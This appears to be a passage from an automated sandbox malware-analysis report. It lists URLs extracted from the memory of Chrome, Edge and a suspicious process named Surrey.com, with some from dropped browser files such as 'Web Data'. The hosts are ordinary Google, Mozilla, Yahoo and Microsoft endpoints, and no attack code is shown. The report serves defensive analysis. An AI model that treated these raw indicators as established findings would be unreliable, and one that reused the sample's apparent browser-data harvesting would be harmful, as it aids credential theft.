Source: chrome.exe, 00000013.00000002.2813665337.000020340020C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://accounts.google.com/embedded/setup/windows
Source: chrome.exe, 00000013.00000002.2813665337.000020340020C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://accounts.google.com/embedded/xreauth/chrome
Source: chrome.exe, 00000013.00000002.2813665337.000020340020C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://accounts.google.com/encryption/unlock/desktop
Source: chrome.exe, 00000013.00000002.2812753636.000020340008C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://accounts.google.com/encryption/unlock/desktop?kdi=CAIaDgoKY2hyb21lc3luYxAB
Source: chrome.exe, 00000013.00000002.2813665337.000020340020C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://accounts.google.com/o/oauth2/revoke
Source: chrome.exe, 00000013.00000002.2813665337.000020340020C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://accounts.google.com/oauth/multilogin
Source: chrome.exe, 00000013.00000002.2813665337.000020340020C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://accounts.google.com/signin/chrome/sync?ssp=1
Source: chrome.exe, 00000013.00000002.2815021964.00002034004A4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://accounts.google.com4
Source: chrome.exe, 00000013.00000002.2813579578.00002034001C4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://accounts.google.com:443
Source: chrome.exe, 00000013.00000003.2757891406.000020340174C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://aida.googleapis.com/v1/aida:doConversation2
Source: chrome.exe, 00000013.00000003.2733651393.000020340037C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000013.00000003.2733785219.0000203400DDC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000013.00000002.2815021964.00002034004A4000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000018.00000003.2880588473.00004D940257C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://anglebug.com/4830
Source: chrome.exe, 00000013.00000002.2815021964.00002034004A4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://anglebug.com/4830L4
Source: chrome.exe, 00000013.00000003.2733651393.000020340037C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000013.00000003.2733785219.0000203400DDC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000013.00000002.2815021964.00002034004A4000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000018.00000003.2880588473.00004D940257C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://anglebug.com/4966
Source: chrome.exe, 00000013.00000002.2815788493.000020340067C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000013.00000003.2733651393.000020340037C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000013.00000003.2733785219.0000203400DDC000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000018.00000003.2880588473.00004D940257C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://anglebug.com/5845
Source: chrome.exe, 00000013.00000003.2733651393.000020340037C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000013.00000003.2733785219.0000203400DDC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000013.00000002.2815021964.00002034004A4000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000018.00000003.2880588473.00004D940257C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://anglebug.com/6574
Source: chrome.exe, 00000013.00000003.2733651393.000020340037C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000013.00000003.2733785219.0000203400DDC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000013.00000002.2815021964.00002034004A4000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000018.00000003.2880588473.00004D940257C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://anglebug.com/7161
Source: chrome.exe, 00000013.00000002.2817027455.00002034007D4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000013.00000003.2733651393.000020340037C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000013.00000003.2733785219.0000203400DDC000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000018.00000003.2880588473.00004D940257C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://anglebug.com/7162
Source: chrome.exe, 00000013.00000003.2733651393.000020340037C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000013.00000003.2733785219.0000203400DDC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000013.00000002.2819155589.0000203400BD4000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000018.00000003.2880588473.00004D940257C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://anglebug.com/7246
Source: chrome.exe, 00000013.00000003.2733651393.000020340037C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000013.00000003.2733785219.0000203400DDC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000013.00000002.2819155589.0000203400BD4000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000018.00000003.2880588473.00004D940257C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://anglebug.com/7308
Source: chrome.exe, 00000013.00000003.2733651393.000020340037C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000013.00000003.2733785219.0000203400DDC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000013.00000002.2819155589.0000203400BD4000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000018.00000003.2880588473.00004D940257C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://anglebug.com/7319
Source: chrome.exe, 00000013.00000002.2817027455.00002034007D4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000013.00000003.2733651393.000020340037C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000013.00000003.2733785219.0000203400DDC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000013.00000002.2815021964.00002034004A4000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000018.00000003.2880588473.00004D940257C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://anglebug.com/7320
Source: chrome.exe, 00000013.00000002.2815695014.0000203400628000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000013.00000002.2819155589.0000203400BD4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000013.00000002.2815021964.00002034004A4000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000018.00000003.2880588473.00004D940257C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://anglebug.com/7369
Source: chrome.exe, 00000013.00000003.2733651393.000020340037C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000013.00000003.2733785219.0000203400DDC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000013.00000002.2815021964.00002034004A4000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000018.00000003.2880588473.00004D940257C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://anglebug.com/7382
Source: chrome.exe, 00000013.00000002.2817027455.00002034007D4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000013.00000003.2733651393.000020340037C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000013.00000003.2733785219.0000203400DDC000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000018.00000003.2880588473.00004D940257C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://anglebug.com/7489
Source: chrome.exe, 00000013.00000002.2817027455.00002034007D4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000013.00000003.2733651393.000020340037C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000013.00000003.2733785219.0000203400DDC000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000018.00000003.2880588473.00004D940257C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://anglebug.com/7604
Source: chrome.exe, 00000013.00000002.2815788493.000020340067C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000013.00000003.2733651393.000020340037C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000013.00000003.2733785219.0000203400DDC000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000018.00000003.2880588473.00004D940257C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://anglebug.com/7714
Source: chrome.exe, 00000013.00000002.2817027455.00002034007D4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000013.00000003.2733651393.000020340037C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000013.00000003.2733785219.0000203400DDC000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000018.00000003.2880588473.00004D940257C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://anglebug.com/7847
Source: chrome.exe, 00000013.00000003.2733651393.000020340037C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000013.00000003.2733785219.0000203400DDC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000013.00000002.2816414698.0000203400718000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000018.00000003.2880588473.00004D940257C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://anglebug.com/7899
Source: chrome.exe, 00000013.00000003.2752212784.000020340139C000.00000004.00000800.00020000.00000000.sdmp, chromecache_377.21.dr, chromecache_380.21.dr	String found in binary or memory: https://apis.google.com
Source: msedge.exe, 00000018.00000002.2889383610.000001A33A78E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://arc.msn.com
Source: Surrey.com, 0000000D.00000002.3584705678.00000000043B5000.00000004.00000800.00020000.00000000.sdmp, Surrey.com, 0000000D.00000002.3592597038.0000000006E8A000.00000004.00000800.00020000.00000000.sdmp, Surrey.com, 0000000D.00000002.3588082989.0000000006074000.00000004.00000800.00020000.00000000.sdmp, ny5pzu.13.dr	String found in binary or memory: https://bridge.sfo1.admarketplace.net/ctp?version=16.0.0&key=1696506299400400001.2&ci=1696506299033.
Source: Surrey.com, 0000000D.00000002.3584705678.00000000043B5000.00000004.00000800.00020000.00000000.sdmp, Surrey.com, 0000000D.00000002.3592597038.0000000006E8A000.00000004.00000800.00020000.00000000.sdmp, Surrey.com, 0000000D.00000002.3588082989.0000000006074000.00000004.00000800.00020000.00000000.sdmp, ny5pzu.13.dr	String found in binary or memory: https://bridge.sfo1.ap01.net/ctp?version=16.0.0&key=1696506299400400001.1&ci=1696506299033.12791&cta
Source: Reporting and NEL.27.dr	String found in binary or memory: https://bzib.nelreports.net/api/report?cat=bingbusiness
Source: chrome.exe, 00000013.00000002.2824034728.00002034010B4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000013.00000002.2815164149.0000203400504000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000013.00000002.2816890818.0000203400780000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://calendar.google.com/calendar/u/0/r/eventedit?usp=chrome_actions
Source: chrome.exe, 00000013.00000002.2819043402.0000203400B90000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://cdn.ecosia.org/assets/images/ico/favicon.ico
Source: Surrey.com, 0000000D.00000002.3587128325.0000000005E98000.00000004.00000800.00020000.00000000.sdmp, v37ycb.13.dr	String found in binary or memory: https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=
Source: chrome.exe, 00000013.00000002.2819077450.0000203400BA8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ch.search.yahoo.com/favicon.ico
Source: chrome.exe, 00000013.00000002.2819077450.0000203400BA8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ch.search.yahoo.com/favicon.icofrom_play_api
Source: Surrey.com, 0000000D.00000002.3588082989.0000000006007000.00000004.00000800.00020000.00000000.sdmp, Surrey.com, 0000000D.00000002.3587128325.0000000005E98000.00000004.00000800.00020000.00000000.sdmp, v3w47q.13.dr, v37ycb.13.dr, Web Data.26.dr	String found in binary or memory: https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search
Source: chrome.exe, 00000013.00000002.2818190866.00002034009A4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ch.search.yahoo.com/search
Source: chrome.exe, 00000013.00000002.2812814828.00002034000A8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ch.search.yahoo.com/search?ei=&fr=crmas&p=
Source: chrome.exe, 00000013.00000002.2812814828.00002034000A8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ch.search.yahoo.com/search?ei=&fr=crmas&p=searchTerms
Source: Surrey.com, 0000000D.00000002.3588082989.0000000006007000.00000004.00000800.00020000.00000000.sdmp, Surrey.com, 0000000D.00000002.3587128325.0000000005E98000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000013.00000002.2815734698.0000203400654000.00000004.00000800.00020000.00000000.sdmp, v3w47q.13.dr, v37ycb.13.dr, Web Data.26.dr	String found in binary or memory: https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=
Source: chrome.exe, 00000013.00000003.2742673280.0000203400C44000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000013.00000002.2815734698.0000203400654000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000018.00000002.2903962963.00004D940238C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://chrome.google.com/webstore
Source: chrome.exe, 00000013.00000002.2815695014.0000203400628000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://chrome.google.com/webstore206E5
Source: chrome.exe, 00000013.00000002.2821622788.0000203400DF8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000013.00000002.2817962065.0000203400960000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000013.00000002.2818277772.00002034009E4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000013.00000002.2815788493.000020340067C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000013.00000002.2812568228.0000203400013000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://chrome.google.com/webstore?hl=en
Source: chrome.exe, 00000013.00000002.2821622788.0000203400DF8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://chrome.google.com/webstore?hl=en4
Source: chrome.exe, 00000013.00000003.2739315169.0000203400D70000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000013.00000003.2733873305.0000203400D70000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000013.00000003.2732458592.0000203400C34000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000013.00000003.2730283842.000020340049C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000013.00000003.2733206216.0000203400C20000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000013.00000003.2742673280.0000203400C44000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://chrome.google.com/webstoreLDDiscover
Source: chrome.exe, 00000013.00000002.2815695014.0000203400628000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://chrome.google.com/webstoreLbQaiato=
Source: chrome.exe, 00000013.00000002.2833313563.0000489800920000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://chromekanonymity-pa.googleapis.com/
Source: chrome.exe, 00000013.00000003.2760971322.0000489800980000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000013.00000003.2757891406.000020340174C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000013.00000003.2723381493.000048980071C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://chromekanonymity-pa.googleapis.com/2%
Source: chrome.exe, 00000013.00000002.2833313563.0000489800920000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://chromekanonymityauth-pa.googleapis.com/
Source: chrome.exe, 00000013.00000003.2760971322.0000489800980000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000013.00000003.2757891406.000020340174C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000013.00000003.2723381493.000048980071C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://chromekanonymityauth-pa.googleapis.com/2$
Source: chrome.exe, 00000013.00000002.2833313563.0000489800920000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://chromekanonymityauth-pa.googleapis.com/KAnonymityServiceJoinRelayServerhttps://chromekanonym
Source: chrome.exe, 00000013.00000002.2833313563.0000489800920000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000013.00000003.2763529947.00002034018C0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://chromekanonymityquery-pa.googleapis.com/
Source: chrome.exe, 00000013.00000003.2760971322.0000489800980000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000013.00000003.2757891406.000020340174C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000013.00000003.2723381493.000048980071C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://chromekanonymityquery-pa.googleapis.com/2O
Source: chrome.exe, 00000013.00000002.2813665337.000020340020C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://chromereporting-pa.googleapis.com/v1/events
Source: chrome.exe, 00000013.00000002.2813665337.000020340020C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://chromereporting-pa.googleapis.com/v1/record
Source: chrome.exe, 00000013.00000002.2812568228.0000203400013000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000018.00000002.2903962963.00004D940238C000.00000004.00000800.00020000.00000000.sdmp, manifest.json.26.dr	String found in binary or memory: https://chromewebstore.google.com/
Source: chrome.exe, 00000013.00000002.2822040171.0000203400E20000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://chromium-i18n.appspot.com/ssl-aggregate-address/
Source: chrome.exe, 00000013.00000002.2813579578.00002034001C4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://classroom.googleapis.com/
Source: chrome.exe, 00000013.00000002.2813579578.00002034001C4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://classroom.googleapis.com/f
Source: chrome.exe, 00000013.00000002.2812252285.000003E400258000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000013.00000003.2719914687.000003E4002E4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://clients2.google.com/cr/report
Source: chrome.exe, 00000013.00000002.2812888115.00002034000DC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://clients2.google.com/service/update2/c
Source: chrome.exe, 00000013.00000002.2813940092.0000203400290000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000013.00000002.2819043402.0000203400B90000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000013.00000002.2812568228.0000203400013000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000013.00000002.2815734698.0000203400654000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000018.00000002.2898092330.00004D9402240000.00000004.00000800.00020000.00000000.sdmp, manifest.json0.26.dr	String found in binary or memory: https://clients2.google.com/service/update2/crx
Source: chrome.exe, 00000013.00000002.2812888115.00002034000DC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://clients2.google.com/service/update2/cx
Source: chrome.exe, 00000013.00000002.2818236832.00002034009C0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://clients3.google.com/cast/chromecast/home/wallpaper/collection-images?rt=b
Source: chrome.exe, 00000013.00000002.2818236832.00002034009C0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://clients3.google.com/cast/chromecast/home/wallpaper/collections?rt=b
Source: chrome.exe, 00000013.00000002.2816890818.0000203400780000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://clients3.google.com/cast/chromecast/home/wallpaper/image?rt=b
Source: chrome.exe, 00000013.00000002.2813579578.00002034001C4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://clients4.google.com/chrome-sync
Source: chrome.exe, 00000013.00000002.2813579578.00002034001C4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://clients4.google.com/chrome-sync/event
Source: chrome.exe, 00000013.00000002.2822590350.0000203400E6D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://clientservices.googleapis.com/chrome-variations/seed?osname=win&channel=stable&milestone=117
Source: Surrey.com, 0000000D.00000002.3584705678.00000000043B5000.00000004.00000800.00020000.00000000.sdmp, Surrey.com, 0000000D.00000002.3592597038.0000000006E8A000.00000004.00000800.00020000.00000000.sdmp, Surrey.com, 0000000D.00000002.3588082989.0000000006074000.00000004.00000800.00020000.00000000.sdmp, ny5pzu.13.dr	String found in binary or memory: https://contile-images.services.mozilla.com/CuERQnIs4CzqjKBh9os6_h9d4CUDCHO3oiqmAQO6VLM.25122.jpg
Source: Surrey.com, 0000000D.00000002.3584705678.00000000043B5000.00000004.00000800.00020000.00000000.sdmp, Surrey.com, 0000000D.00000002.3592597038.0000000006E8A000.00000004.00000800.00020000.00000000.sdmp, Surrey.com, 0000000D.00000002.3588082989.0000000006074000.00000004.00000800.00020000.00000000.sdmp, ny5pzu.13.dr	String found in binary or memory: https://contile-images.services.mozilla.com/obgoOYObjIFea_bXuT6L4LbBJ8j425AD87S1HMD3BWg.9991.jpg
Source: chrome.exe, 00000013.00000002.2818532695.0000203400A5C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://csp.withgoogle.com/csp/report-to/gws/none
Source: Reporting and NEL.27.dr	String found in binary or memory: https://deff.nelreports.net/api/report
Source: 2cc80dabc69f58b6_0.26.dr	String found in binary or memory: https://deff.nelreports.net/api/report?cat=msn
Source: Reporting and NEL.27.dr	String found in binary or memory: https://deff.nelreports.net/api/report?cat=msnw
Source: manifest.json0.26.dr	String found in binary or memory: https://docs.google.com/
Source: chrome.exe, 00000013.00000002.2824034728.00002034010B4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/document/
Source: chrome.exe, 00000013.00000002.2826363872.0000203401489000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000013.00000002.2816725709.000020340076C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/document/:
Source: chrome.exe, 00000013.00000002.2819115981.0000203400BB4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000013.00000002.2816936463.000020340079C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000013.00000002.2816725709.000020340076C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/document/?usp=installed_webapp
Source: chrome.exe, 00000013.00000002.2826363872.0000203401489000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000013.00000002.2816725709.000020340076C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/document/J
Source: chrome.exe, 00000013.00000003.2757891406.000020340174C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/document/d/1z2sdBwnUF2tSlhl3R2iUlk7gvmSbuLVXOgriPIcJkXQ/preview2K
Source: chrome.exe, 00000013.00000002.2824034728.00002034010B4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/document/dogl
Source: chrome.exe, 00000013.00000002.2813013477.0000203400134000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000013.00000002.2826363872.0000203401489000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000013.00000002.2824034728.00002034010B4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000013.00000002.2816725709.000020340076C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000013.00000002.2816890818.0000203400780000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/document/installwebapp?usp=chrome_default
Source: chrome.exe, 00000013.00000002.2816890818.0000203400780000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/document/installwebapp?usp=chrome_defaultlt
Source: chrome.exe, 00000013.00000002.2824034728.00002034010B4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/document/installwebapp?usp=chrome_defaultnjb
Source: chrome.exe, 00000013.00000002.2824034728.00002034010B4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/document/njb
Source: chrome.exe, 00000013.00000002.2815061486.00002034004C8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000013.00000002.2819115981.0000203400BB4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000013.00000002.2816936463.000020340079C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000013.00000002.2816977617.00002034007B0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/document/u/0/create?usp=chrome_actions
Source: chrome.exe, 00000013.00000002.2822040171.0000203400E20000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000013.00000002.2815061486.00002034004C8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000013.00000002.2816936463.000020340079C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000013.00000002.2816977617.00002034007B0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/forms/u/0/create?usp=chrome_actions
Source: chrome.exe, 00000013.00000002.2822040171.0000203400E20000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000013.00000002.2815061486.00002034004C8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000013.00000002.2816936463.000020340079C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000013.00000002.2816977617.00002034007B0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/forms/u/0/create?usp=chrome_actionsy
Source: chrome.exe, 00000013.00000002.2822040171.0000203400E20000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000013.00000002.2824034728.00002034010B4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/presentation/
Source: chrome.exe, 00000013.00000002.2826363872.0000203401489000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000013.00000002.2816725709.000020340076C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/presentation/:
Source: chrome.exe, 00000013.00000002.2814700305.00002034003A0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000013.00000002.2815827330.00002034006A0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000013.00000002.2826363872.0000203401489000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000013.00000002.2819115981.0000203400BB4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000013.00000002.2816725709.000020340076C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/presentation/?usp=installed_webapp
Source: chrome.exe, 00000013.00000002.2819115981.0000203400BB4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/presentation/?usp=installed_webapp4
Source: chrome.exe, 00000013.00000002.2826363872.0000203401489000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000013.00000002.2816725709.000020340076C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/presentation/J
Source: chrome.exe, 00000013.00000002.2824034728.00002034010B4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000013.00000002.2816725709.000020340076C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/presentation/installwebapp?usp=chrome_default
Source: chrome.exe, 00000013.00000002.2824034728.00002034010B4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/presentation/ogl
Source: chrome.exe, 00000013.00000002.2824034728.00002034010B4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000013.00000002.2815164149.0000203400504000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000013.00000002.2816890818.0000203400780000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/presentation/u/0/create?usp=chrome_actions
Source: chrome.exe, 00000013.00000003.2767897495.0000203401B90000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000013.00000002.2827261354.0000203401B98000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000013.00000003.2767988556.0000203401B94000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/spreadsheets/
Source: chrome.exe, 00000013.00000002.2816725709.000020340076C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/spreadsheets/:
Source: chrome.exe, 00000013.00000002.2815061486.00002034004C8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000013.00000002.2819115981.0000203400BB4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000013.00000002.2816725709.000020340076C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/spreadsheets/?usp=installed_webapp
Source: chrome.exe, 00000013.00000002.2815061486.00002034004C8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/spreadsheets/?usp=installed_webapp$
Source: chrome.exe, 00000013.00000002.2819115981.0000203400BB4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/spreadsheets/?usp=installed_webappx
Source: chrome.exe, 00000013.00000002.2816725709.000020340076C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/spreadsheets/J
